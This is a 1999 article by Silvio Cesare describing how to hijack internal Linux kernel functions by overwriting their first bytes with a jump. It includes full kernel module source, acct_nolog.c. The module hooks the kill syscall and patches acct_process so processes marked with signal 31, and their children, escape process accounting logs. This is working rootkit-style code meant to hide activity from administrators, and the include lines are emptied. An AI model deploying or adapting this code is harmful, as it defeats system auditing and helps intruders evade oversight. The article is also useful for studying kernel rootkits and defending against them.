KERNEL FUNCTION HIJACKING - Silvio Cesare - November 1999 INTRODUCTION This article describes a method of hijacking internal kernel functions, that is, kernel functions that are declared inside the kernel without a function pointer or vector for changing the kernel function it points too. This can have practical uses, as given in example code which patches the process accounting code to not log specially marked processes (processes given signal 31). KERNEL FUNCTION HIJACKING The basic premise for this attack is to replace the first bytes of the original function with an asm jump to the replacement jump. The algorithm follows In init_module... * save the first 7 bytes of the original function for later use * set the new jump code to point to the replacement function * replace the first 7 bytes of the original function with a jump In cleanup_module... * restore the bytes of the original function with the saved copy In the replacement function... * do the payload for calling the old function... * restore the bytes of the original function with the saved copy * call the original function * replace the first 7 bytes of the original function with a jump The asm jump used is an indirect jump... This means no messing around with calculating offsets. movl $address_to_jump,%eax jmp *%eax THE IMPLEMENTED EXAMPLE The example code patches acct_process in kernel/sys.c which accounts for process accounting. Normally, you cannot redirect acct_process, but this does all the logging for process accounting, so we hijack the function to control process logging. The code works by waiting for a kill -31 to a process, when this is recieved, the replacement kill syscall sets a bit in the process flags that marks the process as not to be logged by process accounting. This technique is ideal as when the process forks, the process flags are copied, so children remaing log free aswell. The heart of the code is in _acct_process which looks at the process flags and if marked not to be logged, returns without calling the original acct_process. The acct_process variable must be assigned the correct address of the function in the kernel. Typically, this is found in System.map but if no map is present then the techniques described in my paper RUNTIME KERNEL KMEM PATCHING (http://www.big.net.au/~silvio) may be used. -- acct_nolog.c (Linux 2.0.35) #include #include #include #include #include #include #include #include #include /* change this to the correct address, which can be found in System.map */ int (*acct_process)(int) = (int (*)(int))0x00114520; #define CODESIZE 7 #define NOLOG_SIGNAL 31 #define NOLOG_PF 0x10000000 static char original_acct_code[7]; static char acct_code[7] = "\xb8\x00\x00\x00\x00" /* movl $0,%eax */ "\xff\xe0" /* jmp *%eax */ ; int (*original_kill)(pid_t, int); extern void *sys_call_table[]; void *_memcpy(void *dest, const void *src, int size) { const char *p = src; char *q = dest; int i; for (i = 0; i < size; i++) *q++ = *p++; return dest; } int _acct_process(long exitcode) { if (!(current->flags & NOLOG_PF)) { int ret; _memcpy(acct_process, original_acct_code, CODESIZE); ret = acct_process(exitcode); _memcpy(acct_process, acct_code, CODESIZE); return ret; } return 0; } struct task_struct *find_task(pid_t pid) { struct task_struct *task = current; do { if (task->pid == pid) return task; task = task->next_task; } while (task != current); return NULL; } int _kill(pid_t pid, int sig) { if (sig == NOLOG_SIGNAL) { struct task_struct *task; task = find_task(pid); if (task == NULL) return - ESRCH; task->flags |= NOLOG_PF; return 0; } return original_kill(pid, sig); } int init_module(void) { original_kill = sys_call_table[__NR_kill]; sys_call_table[__NR_kill] = _kill; *(long *)&acct_code[1] = (long)_acct_process; _memcpy(original_acct_code, acct_process, CODESIZE); _memcpy(acct_process, acct_code, CODESIZE); return 0; } void cleanup_module(void) { sys_call_table[__NR_kill] = original_kill; _memcpy(acct_process, original_acct_code, CODESIZE); }